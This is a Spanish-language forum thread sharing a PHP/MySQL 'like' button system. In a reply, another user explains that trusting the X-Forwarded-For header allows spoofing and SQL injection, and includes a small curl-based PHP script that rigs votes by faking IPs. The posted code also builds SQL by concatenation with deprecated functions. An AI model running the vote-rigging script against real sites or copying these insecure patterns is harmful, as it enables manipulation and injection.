Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: catriel10 en 13 Abril 2013, 21:12 pm



Título: Sistema de boton ME GUSTA en php y mysql
Publicado por: catriel10 en 13 Abril 2013, 21:12 pm
Buenas tardes gente, les traigo un sistema de ME GUSTA para aquellos que quieran ponerlo en su pagina.


CREAMOS LA BASE DE DATOS

Código
  1. CREATE TABLE `post` (
  2.  `id` INT(11) NOT NULL AUTO_INCREMENT,
  3.  `nombre` VARCHAR(255) COLLATE utf8_unicode_ci NOT NULL,
  4.  `megusta` INT(11) DEFAULT '0',
  5.  `ips` text COLLATE utf8_unicode_ci NOT NULL,
  6.  PRIMARY KEY  (`id`)
  7. ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=4 ;[/b][/LEFT]

ESTE ES EL INDEX.PHP

Código
  1. [left]<?php
  2. $dbhost = "SERVIDOR"; // Servidor
  3. $dbuser = "USUARIO"; // Nombre de usuario
  4. $dbpass = "CONTRASENA"; // Contraseña
  5. $dbname = "NOMBRE_BASE_DE_DATOS"; // Nombre de la base de datos
  6.  
  7. # Creamos conexion a la base de datos
  8. $link = mysql_connect($dbhost,$dbuser,$dbpass);
  9. mysql_select_db($dbname,$link);
  10.  
  11. # Imprimimos una prueba para dar como ejemplo
  12. $sql = "SELECT * FROM post";
  13. $query = mysql_query($sql,$link);
  14. ?>
  15. <table width="800" border="0" align="center">
  16.  <tr>
  17.    <td width="5%" align="center">ID</td>
  18.    <td width="63%" align="center">NOMBRE DEL POST</td>
  19.    <td width="32%" align="center">ME GUSTA</td>
  20.  </tr>
  21. <?php
  22. while($row = mysql_fetch_assoc($query))
  23. {?>
  24.  <tr>
  25.    <td width="5%" align="center"><?=$row['id']?></td>
  26.    <td width="63%" align="center"><?=$row['nombre']?></td>
  27.    <td width="32%" align="center">[<a href="megusta.php?voto=positivo&id=<?=$row['id']?>">Me gusta</a>] <?=$row['megusta']?> [<a href="megusta.php?voto=negativo&id=<?=$row['id']?>">No me gusta</a>]</td>
  28.  </tr>
  29. <?php
  30. }
  31. ?>
  32. </table>

POR ULTIMO DONDE SE REALIZA LA FUNCION megusta.php

Código
  1. <?php
  2. $dbhost = "SERVIDOR"; // Servidor
  3. $dbuser = "USUARIO"; // Nombre de usuario
  4. $dbpass = "CONTRASEÑA"; // Contraseña
  5. $dbname = "NOMBRE_BASE_DE_DATOS"; // Nombre de la base de datos
  6.  
  7. # Creamos conexion a la base de datos
  8. $link = mysql_connect($dbhost,$dbuser,$dbpass);
  9. mysql_select_db($dbname,$link);
  10.  
  11. # Saber si el voto es negativo o positivo
  12. $voto = htmlentities($_GET['voto']);
  13.  
  14. # Tomamos el id de nuestro post y vemos todas las ip que pusieron megusta
  15. $id = (int) $_GET['id'];
  16. $query = mysql_query("SELECT id,ips FROM post WHERE id='".$id."'",$link);
  17. $row = mysql_fetch_assoc($query);
  18. $ip = $row['ips'];
  19.  
  20. # Obtenemos la ip de nuestro visitante
  21. {
  22. $ipp = getenv('REMOTE_ADDR');
  23. }
  24.  
  25. # Me gusta o No me gusta
  26. switch($voto)
  27. {
  28. case "positivo";
  29. if($query)
  30. {
  31. $var = explode(",", $ip);
  32. $arr = in_array($ipp, $var);
  33. if(!$arr)
  34. {
  35. mysql_query("UPDATE post SET megusta=megusta+1, ips=CONCAT(post.ips,'".$ipp.",') WHERE id='".$id."'",$link);
  36. }
  37. }
  38. break;
  39. case "negativo";
  40. if($query)
  41. {
  42. $var = explode(",", $ip);
  43. $arr = in_array($ipp, $var);
  44. if(!$arr)
  45. {
  46. mysql_query("UPDATE post SET megusta=megusta-1, ips=CONCAT(post.ips,'".$ipp.",') WHERE id='".$id."'",$link);
  47. }
  48. }
  49. break;
  50. }
  51. header('location:index.php');
  52. ?>


Título: Re: Sistema de boton ME GUSTA en php y mysql
Publicado por: дٳŦ٭ en 16 Abril 2013, 18:28 pm
Muchas gracias por el aporte.  :)


Título: Re: Sistema de boton ME GUSTA en php y mysql
Publicado por: #!drvy en 16 Abril 2013, 19:34 pm
Mencionar que el sistema es un poco inseguro en el modulo megusta.php, lineas 20-26, . La razón:

En la linea 21, compruebas si la variable $HTTP_X_FORWARDED_FOR esta vacia. Esto en una parte da a pensar que el sistema utiliza "Register Globals" que se ha demostrado que si no se usa correctamente puede ser un agujero.

Si dicha variable no llega a estar vacía (si se utiliza "Register Globals" es muy fácil de declarar), el sistema utilizara:
Código
  1. $ipp = getenv(HTTP_X_FORWARDED_FOR);

Esto tiene 2 errores.

1 - La menera correcta de declararlo seria getenv('HTTP_X_FORWARDED_FOR');. Con comillas (simples o dobles) entre el nombre. En caso de no hacerlo, PHP tira un error de Assuming.

2 - No se filtra. La cabecera X-Forwarded-For, se enviada por el cliente Por tanto, un usuario mal intencionado, puede simular la cabecera para introducir lo que el quiera. Desde IP's no existentes (999.999.999.999) hasta una inyección SQL.

Yo te recomiendo usar solo REMOTE_ADDR. Esta bien detectar el proxy pero no creo que merezca la pena perder seguridad por saber la IP real del visitante.

Un simple exploit- suponiendo que register globals esta on:
Código
  1. <?php
  2. // Url a atacar.
  3. $url = 'http://localhost/megusta.php';
  4. $id = 1;
  5. $voto = 'positivo';
  6. $veces = 100;
  7. /* ---------------------- */
  8. $url .= '?id='.$id.'&voto='.$voto.'&HTTP_X_FORWARDED_FOR=a';
  9. $ch = curl_init();
  10. curl_setopt($ch, CURLOPT_URL, $url);
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12. for ($i=0; $i<=$veces; $i++) {
  13.   // cambio de IP por cada request.
  14.   curl_setopt($ch,CURLOPT_HTTPHEADER,array('X-Forwarded-For: 999.999.999.'.$i));
  15.   // Ejecutar
  16.   $output = curl_exec($ch);
  17.   // Dormir
  18.   sleep(0.5);
  19. }
  20. echo 'Terminado';
  21. ?>

Saludos


Título: Re: Sistema de boton ME GUSTA en php y mysql
Publicado por: catriel10 en 16 Abril 2013, 20:14 pm
Gracias drvy | BSM, pero la verdad es que no tengo mucha idea de php y mysql, no se mucho de codigos y seguridad. Disculpa pero ahi le agrego las comillas como vos dijiste :). дٳŦ٭ gracias a vos por ver el post, saludos